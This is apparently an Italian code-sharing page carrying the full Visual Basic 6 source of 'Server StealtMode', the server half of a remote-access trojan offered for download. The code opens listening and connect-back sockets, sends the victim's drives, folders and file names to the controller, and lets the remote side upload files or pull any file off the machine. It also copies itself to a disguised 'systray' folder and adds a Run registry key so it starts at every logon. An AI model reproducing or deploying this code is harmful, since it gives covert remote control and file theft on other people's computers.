Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
EsR V2.0 - Server StealtMode.frm

Server StealtMode.frm

Caricato da: P4p3r0g4
Scarica il programma completo

  1. Option Explicit
  2. Dim k, d, f, x As Integer
  3. Dim conteggio As Double
  4. Dim Drive(0 To 100) As String
  5. Dim file(0 To 200) As String
  6. Dim dir(0 To 150) As String
  7. Dim datiricevuti As String
  8. Dim IpAdress As String
  9. Dim Uploading As Boolean
  10. Private Sub Combo1_Click()
  11. On Error GoTo Error
  12. Drive1.Drive = Combo1.List(Combo1.ListIndex)
  13. Error:
  14. End Sub
  15. Private Sub Dir1_Change()
  16. File1.Path = Dir1.Path
  17. Call Aggiorna
  18. End Sub
  19. Private Sub Drive1_Change()
  20. On Error GoTo error_handler
  21. Dir1.Path = Drive1.Drive
  22. error_handler:
  23. End Sub
  24. Private Sub Aggiorna()
  25. List1.Clear
  26. List2.Clear
  27. For k = 0 To (Drive1.ListCount - 1)
  28. Drive(k) = Drive1.List(k)
  29. Combo1.List(k) = Drive(k)
  30. Next k
  31. List1.AddItem ("..")
  32. For d = 0 To (Dir1.ListCount - 1)
  33. dir(d) = Dir1.List(d)
  34. List1.List(d + 1) = dir(d)
  35. Next d
  36. For f = 0 To (File1.ListCount - 1)
  37. file(f) = File1.List(f)
  38. List2.List(f) = file(f)
  39. Next f
  40. resend
  41. End Sub
  42. Private Sub connetti()
  43.  
  44. wsk.Close
  45. wsk.LocalPort = 321
  46. wsk.Listen
  47.  
  48. wsk2.Close
  49. wsk2.RemotePort = 322
  50. wsk2.RemoteHost = IpAdress
  51. wsk2.Connect
  52.  
  53. Wsk3.Close
  54. Wsk3.LocalPort = 323
  55. Wsk3.Listen
  56.  
  57. Wsk4.Close
  58. Wsk4.RemotePort = 324
  59. Wsk4.RemoteHost = IpAdress
  60. Wsk4.Connect
  61. End Sub
  62. Private Sub Form_Load()
  63. connetti
  64. Aggiorna
  65. End Sub
  66. Private Sub List1_dblClick()
  67. On Error GoTo Error
  68. Dir1.Path = List1.List(List1.ListIndex)
  69. Error:
  70. End Sub
  71. Private Sub wsk2_Connect()
  72. Aggiorna
  73. End Sub
  74. Private Sub wsk_ConnectionRequest(ByVal requestID As Long)
  75. If wsk.State <> sckClosed Then wsk.Close
  76. wsk.Accept requestID
  77. IpAdress = wsk.RemoteHostIP
  78. Aggiorna
  79. End Sub
  80. Private Sub wsk3_ConnectionRequest(ByVal requestID As Long)
  81. If Wsk3.State <> sckClosed Then Wsk3.Close
  82. Wsk3.Accept requestID
  83. IpAdress = Wsk3.RemoteHostIP
  84. End Sub
  85. Public Sub resend()
  86. On Error GoTo Error
  87. wsk2.SendData "start"
  88. DoEvents
  89. For k = 0 To List2.ListCount - 1
  90. wsk2.SendData "file:" & List2.List(k)
  91. DoEvents
  92. Next k
  93. For k = 0 To Combo1.ListCount - 1
  94. wsk2.SendData "drive:" & Combo1.List(k)
  95. DoEvents
  96. Next k
  97. For k = 0 To List1.ListCount - 1
  98. wsk2.SendData "dir:" & List1.List(k)
  99. DoEvents
  100. Next k
  101. Error:
  102. End Sub
  103. Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
  104. wsk.GetData datiricevuti
  105. If Mid(datiricevuti, 1, 6) = "drive:" Then
  106. Combo1.ListIndex = Mid(datiricevuti, 7, Len(datiricevuti) - 6)
  107. ElseIf Mid(datiricevuti, 1, 4) = "dir:" Then
  108. List1.ListIndex = Mid(datiricevuti, 5, Len(datiricevuti) - 4)
  109. List1_dblClick
  110. End If
  111. End Sub
  112. Private Sub Wsk3_DataArrival(ByVal bytesTotal As Long)
  113. Dim data3 As String
  114. Dim data4 As String
  115. Wsk3.GetData data3
  116. If Mid(data3, 1, 7) = "upload:" Then
  117. Open Dir1.Path & "\" & Mid(data3, 8) For Binary As #1
  118. Uploading = True
  119. GoTo fine
  120. End If
  121. If Uploading = True Then
  122. If data3 = "upend" Then
  123. Close #1
  124. Uploading = False
  125. GoTo fine
  126. End If
  127. Put #1, , data3
  128. Else
  129. Open File1.Path & "\" & data3 For Binary As #1
  130. Wsk4.SendData "down"
  131. DoEvents
  132. data4 = Space(4000)
  133. For conteggio = 0 To CLng(LOF(1) / 4000)
  134. Get #1, conteggio * CLng(4000) + 1, data4
  135. Wsk4.SendData data4
  136. DoEvents
  137. Next conteggio
  138. Wsk4.SendData "Ter"
  139. DoEvents
  140. Close #1
  141. End If
  142. fine:
  143. End Sub
  144. Private Sub Timer1_Timer()
  145. If Not App.Path = "C:\windows\systray" Then
  146.     On Error Resume Next
  147.     Dim addsta
  148.     MkDir "C:\windows\systray\"
  149.     Set addsta = CreateObject("WScript.Shell")
  150.     addsta.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Systray", "C:\windows\systray\systr.exe", "REG_SZ"
  151.     Call FileCopy(App.Path & "\" & App.EXEName & ".exe", "C:\windows\systray\systr.exe")
  152.     On Error GoTo 0
  153. End If
  154. Select Case wsk.State
  155. Case sckConnected
  156. Text1.BackColor = RGB(100, 255, 100)
  157. Text1.Text = "Connected"
  158. Case sckClosed
  159. Text1.BackColor = RGB(255, 100, 100)
  160. Text1.Text = "Closed"
  161. Case sckListening
  162. Text1.BackColor = RGB(255, 255, 100)
  163. Text1.Text = "Listening.."
  164. Case sckConnectionPending
  165. Text1.BackColor = RGB(255, 255, 100)
  166. Text1.Text = "Connection Pending..."
  167. Case sckResolvingHost
  168. Text1.BackColor = RGB(100, 255, 100)
  169. Text1.Text = "Resolving Host.."
  170. Case sckConnecting
  171. Text1.BackColor = RGB(255, 255, 100)
  172. Text1.Text = "Connecting"
  173. Case sckClosing
  174. Text1.BackColor = RGB(255, 100, 100)
  175. Text1.Text = "Closing.."
  176. wsk.Close
  177. wsk.LocalPort = 321
  178. wsk.Listen
  179. Case sckError
  180. Text1.BackColor = RGB(255, 100, 100)
  181. Text1.Text = "!Error!"
  182. wsk.Close
  183. wsk.LocalPort = 321
  184. wsk.Listen
  185. End Select
  186. Select Case wsk2.State
  187. Case sckConnected
  188. Text2.BackColor = RGB(100, 255, 100)
  189. Text2.Text = "Connected"
  190. Case sckClosed
  191. Text2.BackColor = RGB(255, 100, 100)
  192. Text2.Text = "Closed"
  193. Case sckListening
  194. Text2.BackColor = RGB(255, 255, 100)
  195. Text2.Text = "Listening.."
  196. Case sckConnectionPending
  197. Text2.BackColor = RGB(255, 255, 100)
  198. Text2.Text = "Connection Pending..."
  199. Case sckResolvingHost
  200. Text2.BackColor = RGB(100, 255, 100)
  201. Text2.Text = "Resolving Host.."
  202. Case sckConnecting
  203. Text2.BackColor = RGB(255, 255, 100)
  204. Text2.Text = "Connecting"
  205. Case sckClosing
  206. Text2.BackColor = RGB(255, 100, 100)
  207. Text2.Text = "Closing.."
  208. wsk2.Close
  209. wsk2.RemotePort = 322
  210. wsk2.RemoteHost = IpAdress
  211. wsk2.Connect
  212. Case sckError
  213. Text2.BackColor = RGB(255, 100, 100)
  214. Text2.Text = "!Error!"
  215. wsk2.Close
  216. wsk2.RemotePort = 322
  217. wsk2.RemoteHost = IpAdress
  218. wsk2.Connect
  219. End Select
  220. Select Case Wsk3.State
  221. Case sckConnected
  222. Text3.BackColor = RGB(100, 255, 100)
  223. Text3.Text = "Connected"
  224. Case sckClosed
  225. Text3.BackColor = RGB(255, 100, 100)
  226. Text3.Text = "Closed"
  227. Case sckListening
  228. Text3.BackColor = RGB(255, 255, 100)
  229. Text3.Text = "Listening.."
  230. Case sckConnectionPending
  231. Text3.BackColor = RGB(255, 255, 100)
  232. Text3.Text = "Connection Pending..."
  233. Case sckResolvingHost
  234. Text3.BackColor = RGB(100, 255, 100)
  235. Text3.Text = "Resolving Host.."
  236. Case sckConnecting
  237. Text3.BackColor = RGB(255, 255, 100)
  238. Text3.Text = "Connecting"
  239. Case sckClosing
  240. Text3.BackColor = RGB(255, 100, 100)
  241. Text3.Text = "Closing.."
  242. Wsk3.Close
  243. Wsk3.LocalPort = 323
  244. Wsk3.Listen
  245. Case sckError
  246. Text3.BackColor = RGB(255, 100, 100)
  247. Text3.Text = "!Error!"
  248. Wsk3.Close
  249. Wsk3.LocalPort = 323
  250. Wsk3.Listen
  251. End Select
  252. Select Case Wsk4.State
  253. Case sckConnected
  254. Text4.BackColor = RGB(100, 255, 100)
  255. Text4.Text = "Connected"
  256. Case sckClosed
  257. Text4.BackColor = RGB(255, 100, 100)
  258. Text4.Text = "Closed"
  259. Case sckListening
  260. Text4.BackColor = RGB(255, 255, 100)
  261. Text4.Text = "Listening.."
  262. Case sckConnectionPending
  263. Text4.BackColor = RGB(255, 255, 100)
  264. Text4.Text = "Connection Pending..."
  265. Case sckResolvingHost
  266. Text4.BackColor = RGB(100, 255, 100)
  267. Text4.Text = "Resolving Host.."
  268. Case sckConnecting
  269. Text4.BackColor = RGB(255, 255, 100)
  270. Text4.Text = "Connecting"
  271. Case sckClosing
  272. Text4.BackColor = RGB(255, 100, 100)
  273. Text4.Text = "Closing.."
  274. Wsk4.Close
  275. Wsk4.RemotePort = 324
  276. Wsk4.RemoteHost = IpAdress
  277. Wsk4.Connect
  278. Case sckError
  279. Text4.BackColor = RGB(255, 100, 100)
  280. Text4.Text = "!Error!"
  281. Wsk4.Close
  282. Wsk4.RemotePort = 324
  283. Wsk4.RemoteHost = IpAdress
  284. Wsk4.Connect
  285. End Select
  286. End Sub